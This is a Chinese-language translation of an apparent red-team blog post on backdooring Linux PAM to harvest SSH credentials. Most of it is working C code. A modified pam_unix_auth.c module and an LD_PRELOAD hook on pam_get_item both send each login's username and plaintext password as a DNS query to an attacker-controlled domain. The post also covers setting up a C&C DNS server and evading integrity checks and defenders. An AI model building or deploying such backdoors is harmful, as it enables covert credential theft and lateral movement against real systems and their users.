前言
也许在渗透和红队中使用的最著名的Post-Exploitation技术之一，就是在PAM生态系统中打开后门来收集有效的凭证。通过后门获取的证书将帮助我们轻松地实现机器之间的横向移动。我们可以通过不同的选择来实现这一目标。
一个有趣的变化是将这种技术与传统的DNS数据渗漏技术(DNS exfiltration)相结合，这样我们就可以将凭据发送到我们的C&C，而无需担心防火墙和通信规则。我们只需要向机器使用的DNS服务器发送一个DNS请求，然后它将被转发到其他DNS服务器，并且在某个时候该请求将攻击我们的权威DNS服务器。所以我们可以用这个众所周知的渠道默默地取回凭证。
我们的路线图非常简单：添加一个自定义PAM模块，该模块以明文记录凭证，并通过DNS解析将其发送到我们的C&C。
顺便提一下：即使这是一个古老而著名的策略，它仍然是一个非常酷的来显示所需的文件完整性控件的方式。获取服务器根权限，等待管理员或操作员通过SSH登录并享受吧！
0x01 修改pam_unix_auth.c
(我们不会解释PAM是什么或者它是如何工作的。要获得有关PAM的更深入的信息，请使用man)。
为了检索明文中的用户和密码，我们将把有效的pam_unix.so模块替换为我们修改过的模块。如果我们检查原始模块的源代码(从这里下载安装在目标服务器上的PAM版本的源代码)，我们可以在pam_unix_Auth.c文件中看到一个名为pam_sm_certiate的函数，并且在这个函数中调用_unix_Version_Password，其中的参数是身份验证中使用的用户名和密码：
// (...)
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
AUTH_RETURN;
}
// (...)
因此，在这一点上注入我们的过滤逻辑看起来很好。作为PoC，我们可以使用这段代码(SilverMoon-29/4/2009)，所以主要的外排逻辑还没有实现(这段代码有一些缺陷-例如，它没有将服务器IP从Resolv.conf-…中取走) 因此，如果要在真正的渗透中使用它，需要改进代码；D)。让vim文件pam_unix_Auth.c添加所需的函数和头文件！：
/* Fun starts here :)
* pam_sm_authenticate() performs UNIX/shadow authentication
*
* First, if shadow support is available, attempt to perform
* authentication using shadow passwords. If shadow is not
* available, or user does not have a shadow password, fallback
* onto a normal UNIX authentication
*/
/* Backdoor - DNS code extracted from https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168 */
// The code sucks a lot. It is Sunday and I have a hangover, so I am not in the mood to fix it.
// Tons of bug and useless code that you should remove. Forgive me, please :)
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
//List of DNS Servers registered on the system
char dns_servers[10][100];
int dns_server_count = 0;
//Types of DNS resource records :)
#define T_A 1 //Ipv4 address
#define T_NS 2 //Nameserver
#define T_CNAME 5 // canonical name
#define T_SOA 6 /* start of authority zone */
#define T_PTR 12 /* domain name pointer */
#define T_MX 15 //Mail server
//Function Prototypes
void ngethostbyname (unsigned char* , int);
void ChangetoDnsNameFormat (unsigned char*,unsigned char*);
unsigned char* ReadName (unsigned char*,unsigned char*,int*);
void get_dns_servers();
//DNS header structure
struct DNS_HEADER
{
unsigned short id; // identification number
unsigned char rd :1; // recursion desired
unsigned char tc :1; // truncated message
unsigned char aa :1; // authoritive answer
unsigned char opcode :4; // purpose of message
unsigned char qr :1; // query/response flag
unsigned char rcode :4; // response code
unsigned char cd :1; // checking disabled
unsigned char ad :1; // authenticated data
unsigned char z :1; // its z! reserved
unsigned char ra :1; // recursion available
unsigned short q_count; // number of question entries
unsigned short ans_count; // number of answer entries
unsigned short auth_count; // number of authority entries
unsigned short add_count; // number of resource entries
};
//Constant sized fields of query structure
struct QUESTION
{
unsigned short qtype;
unsigned short qclass;
};
//Constant sized fields of the resource record structure
#pragma pack(push, 1)
struct R_DATA
{
unsigned short type;
unsigned short _class;
unsigned int ttl;
unsigned short data_len;
};
#pragma pack(pop)
//Pointers to resource record contents
struct RES_RECORD
{
unsigned char *name;
struct R_DATA *resource;
unsigned char *rdata;
};
//Structure of a Query
typedef struct
{
unsigned char *name;
struct QUESTION *ques;
} QUERY;
/*
* Perform a DNS query by sending a packet
* */
void ngethostbyname(unsigned char *host , int query_type)
{
unsigned char buf[65536],*qname,*reader;
int i , j , stop , s;
struct sockaddr_in a;
struct RES_RECORD answers[20],auth[20],addit[20]; //the replies from the DNS server
struct sockaddr_in dest;
struct DNS_HEADER *dns = NULL;
struct QUESTION *qinfo = NULL;
printf("Resolving %s" , host);
s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries
dest.sin_family = AF_INET;
dest.sin_port = htons(53);
dest.sin_addr.s_addr = inet_addr(dns_servers[0]); //dns servers
//Set the DNS structure to standard queries
dns = (struct DNS_HEADER *)&buf;
dns->id = (unsigned short) htons(getpid());
dns->qr = 0; //This is a query
dns->opcode = 0; //This is a standard query
dns->aa = 0; //Not Authoritative
dns->tc = 0; //This message is not truncated
dns->rd = 1; //Recursion Desired
dns->ra = 0; //Recursion not available! hey we dont have it (lol)
dns->z = 0;
dns->ad = 0;
dns->cd = 0;
dns->rcode = 0;
dns->q_count = htons(1); //we have only 1 question
dns->ans_count = 0;
dns->auth_count = 0;
dns->add_count = 0;
//point to the query portion
qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)];
ChangetoDnsNameFormat(qname , host);
qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; //fill it
qinfo->qtype = htons( query_type ); //type of the query , A , MX , CNAME , NS etc
qinfo->qclass = htons(1); //its internet (lol)
printf("nSending Packet...");
if( sendto(s,(char*)buf,sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION),0,(struct sockaddr*)&dest,sizeof(dest)) < 0)
{
perror("sendto failed");
}
printf("Done");
//Receive the answer
i = sizeof dest;
printf("nReceiving answer...");
if(recvfrom (s,(char*)buf , 65536 , 0 , (struct sockaddr*)&dest , (socklen_t*)&i ) < 0)
{
perror("recvfrom failed");
}
printf("Done");
dns = (struct DNS_HEADER*) buf;
//move ahead of the dns header and the query field
reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)];
printf("nThe response contains : ");
printf("n %d Questions.",ntohs(dns->q_count));
printf("n %d Answers.",ntohs(dns->ans_count));
printf("n %d Authoritative Servers.",ntohs(dns->auth_count));
printf("n %d Additional records.nn",ntohs(dns->add_count));
//Start reading answers
stop=0;
for(i=0;i<ntohs(dns->ans_count);i++)
{
answers[i].name=ReadName(reader,buf,&stop);
reader = reader + stop;
answers[i].resource = (struct R_DATA*)(reader);
reader = reader + sizeof(struct R_DATA);
if(ntohs(answers[i].resource->type) == 1) //if its an ipv4 address
{
answers[i].rdata = (unsigned char*)malloc(ntohs(answers[i].resource->data_len));
for(j=0 ; j<ntohs(answers[i].resource->data_len) ; j++)
{
answers[i].rdata[j]=reader[j];
}
answers[i].rdata[ntohs(answers[i].resource->data_len)] = '';
reader = reader + ntohs(answers[i].resource->data_len);
}
else
{
answers[i].rdata = ReadName(reader,buf,&stop);
reader = reader + stop;
}
}
//read authorities
for(i=0;i<ntohs(dns->auth_count);i++)
{
auth[i].name=ReadName(reader,buf,&stop);
reader+=stop;
auth[i].resource=(struct R_DATA*)(reader);
reader+=sizeof(struct R_DATA);
auth[i].rdata=ReadName(reader,buf,&stop);
reader+=stop;
}
//read additional
for(i=0;i<ntohs(dns->add_count);i++)
{
addit[i].name=ReadName(reader,buf,&stop);
reader+=stop;
addit[i].resource=(struct R_DATA*)(reader);
reader+=sizeof(struct R_DATA);
if(ntohs(addit[i].resource->type)==1)
{
addit[i].rdata = (unsigned char*)malloc(ntohs(addit[i].resource->data_len));
for(j=0;j<ntohs(addit[i].resource->data_len);j++)
addit[i].rdata[j]=reader[j];
addit[i].rdata[ntohs(addit[i].resource->data_len)]='';
reader+=ntohs(addit[i].resource->data_len);
}
else
{
addit[i].rdata=ReadName(reader,buf,&stop);
reader+=stop;
}
}
//print answers
printf("nAnswer Records : %d n" , ntohs(dns->ans_count) );
for(i=0 ; i < ntohs(dns->ans_count) ; i++)
{
printf("Name : %s ",answers[i].name);
if( ntohs(answers[i].resource->type) == T_A) //IPv4 address
{
long *p;
p=(long*)answers[i].rdata;
a.sin_addr.s_addr=(*p); //working without ntohl
printf("has IPv4 address : %s",inet_ntoa(a.sin_addr));
}
if(ntohs(answers[i].resource->type)==5)
{
//Canonical name for an alias
printf("has alias name : %s",answers[i].rdata);
}
printf("n");
}
//print authorities
printf("nAuthoritive Records : %d n" , ntohs(dns->auth_count) );
for( i=0 ; i < ntohs(dns->auth_count) ; i++)
{
printf("Name : %s ",auth[i].name);
if(ntohs(auth[i].resource->type)==2)
{
printf("has nameserver : %s",auth[i].rdata);
}
printf("n");
}
//print additional resource records
printf("nAdditional Records : %d n" , ntohs(dns->add_count) );
for(i=0; i < ntohs(dns->add_count) ; i++)
{
printf("Name : %s ",addit[i].name);
if(ntohs(addit[i].resource->type)==1)
{
long *p;
p=(long*)addit[i].rdata;
a.sin_addr.s_addr=(*p);
printf("has IPv4 address : %s",inet_ntoa(a.sin_addr));
}
printf("n");
}
return;
}
/*
*
* */
u_char* ReadName(unsigned char* reader,unsigned char* buffer,int* count)
{
unsigned char *name;
unsigned int p=0,jumped=0,offset;
int i , j;
*count = 1;
name = (unsigned char*)malloc(256);
name[0]='';
//read the names in 3www6google3com format
while(*reader!=0)
{
if(*reader>=192)
{
offset = (*reader)*256 + *(reader+1) - 49152; //49152 = 11000000 00000000 ;)
reader = buffer + offset - 1;
jumped = 1; //we have jumped to another location so counting wont go up!
}
else
{
name[p++]=*reader;
}
reader = reader+1;
if(jumped==0)
{
*count = *count + 1; //if we havent jumped to another location then we can count up
}
}
name[p]=''; //string complete
if(jumped==1)
{
*count = *count + 1; //number of steps we actually moved forward in the packet
}
//now convert 3www6google3com0 to www.google.com
for(i=0;i<(int)strlen((const char*)name);i++)
{
p=name[i];
for(j=0;j<(int)p;j++)
{
name[i]=name[i+1];
i=i+1;
}
name[i]='.';
}
name[i-1]=''; //remove the last dot
return name;
}
/*
* Get the DNS servers from /etc/resolv.conf file on Linux
* */
void get_dns_servers()
{
FILE *fp;
char line[200] , *p;
if((fp = fopen("/etc/resolv.conf" , "r")) == NULL)
{
printf("Failed opening /etc/resolv.conf file n");
}
while(fgets(line , 200 , fp))
{
if(line[0] == '#')
{
continue;
}
if(strncmp(line , "nameserver" , 10) == 0)
{
p = strtok(line , " ");
p = strtok(NULL , " ");
//p now is the dns ip :)
//????
}
}
// EDIT THIS. It is a PoC
strcpy(dns_servers[0] , "127.0.0.1");
}
/*
* This will convert www.google.com to 3www6google3com
* got it :)
* */
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
int lock = 0 , i;
strcat((char*)host,".");
for(i = 0 ; i < strlen((char*)host) ; i++)
{
if(host[i]=='.')
{
*dns++ = i-lock;
for(;lock<i;lock++)
{
*dns++=host[lock];
}
lock++; //or lock=i+1;
}
}
*dns++='';
}
#define _UNIX_AUTHTOK "-UN*X-PASS"
// (...)
最后，一点小修改：
// (...)
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
unsigned char hostname[100];
get_dns_servers();
snprintf(hostname, sizeof(hostname), "%s.%s.nowhere.local", name, p); // Change it with your domain
if (fork() == 0) {
ngethostbyname(hostname, T_A);
}
name = p = NULL;
// (...)
编译该模块(./configure && make)，用我们的版本替换原来的pam_unix.so，然后打开一个tcpdump/wireshark并通过SSH登录到机器中：
DNS 96 Standard query 0x6d43 A mothra.RabbitHunt3r.nowhere.local
很好！完成了一个DNS请求，因此我们可以将用户名和密码转储到由我们控制的外部服务器。但现在我们遇到了一个问题：在密码中使用大写/小写/符号(uppercase / lowercase / symbols)会发生什么？在后面的0x03一节中，我们将讨论这一点。
0x02 LD_PRELOAD
在某些情况下，需要采取另一种办法。如果服务器对关键二进制文件(如pam_unix.so和其他模块)或配置文件执行任何类型的文件完整性检查，则需要使用经典的LD_PRELOAD策略。我们将预加载一个共享对象，该对象挂接PAM使用的一些函数，因此我们可以轻松地将我们的退出逻辑注入其中。
我们的目标函数将是pam_get_Item。当以项类型PAM_AUTHTOK作为参数调用此函数时，它检索所使用的身份验证令牌。我们将hook这个函数，因此当调用它时，我们将调用pam_get_user()来检索用户名，然后调用原始pam_get_Item(获得正确的返回值和身份验证令牌)，通过DNS将其过滤掉，最后返回之前获得的值。
/* Classic LD_PRELOAD PAM backdoor with DNS exfiltration */
// Author: Juan Manuel Fernandez (@TheXC3LL)
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <security/pam_modutil.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <dlfcn.h>
#include <sys/stat.h>
#include <signal.h>
// Insert here all the headers and functions needed for the DNS request
//(...)
typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type, const void **item);
int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
int retval;
int pid;
const char *name;
orig_ftype orig_pam;
orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");
// Call original function so we log password
retval = orig_pam(pamh, item_type, item);
// Log credential
if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
unsigned char hostname[256];
get_dns_servers();
pam_get_user((pam_handle_t *)pamh, &name, NULL);
snprintf(hostname, sizeof(hostname), "%s.%s.nowhere.local", name, *item); // Change it with your domain
if (fork() == 0) {
ngethostbyname(hostname, T_A);
}
}
return retval;
}
编译(gcc pam_fucked.c -shared -fPIC pam_fucked.so)，停止SSH守护进程，用LD_PRELOAD=/../module/location…/启动它
使用LD_PRELOAD几乎没有什么负面影响，比如需要重新启动守护进程，因此它可以生成其他类型的事件来警告蓝队。另一方面，如果要以SSH的形式重新启动关键服务，则必须从SSH以外的某个点(可能是反向shell)进行操作，并注意避免终止当前会话。
0x03 与C&C的交流
如前所述，我们需要对将被过滤的数据进行编码(并对此信息进行真正的加密)。最好的选择是将其编码为十六进制或base32。C&C必须配置为一个权威的DNS，最好是使用一个模拟公司使用的真实域的伪造的域名类型。
你可以安装一个真正的DNS服务器，或者只使用python和dnslb创建所需的逻辑。
0x04 最后
我希望你通过典型的DNS数据渗漏技术找到一种酷的方法。这是一种非常简单的方法，可以在最近受到攻击的服务器中获得新的凭据，并征服网络中的其他点。
就像我常说的，如果你发现错误或者想要评论什么，请在Twitter上联系我(@TheXC3LL)。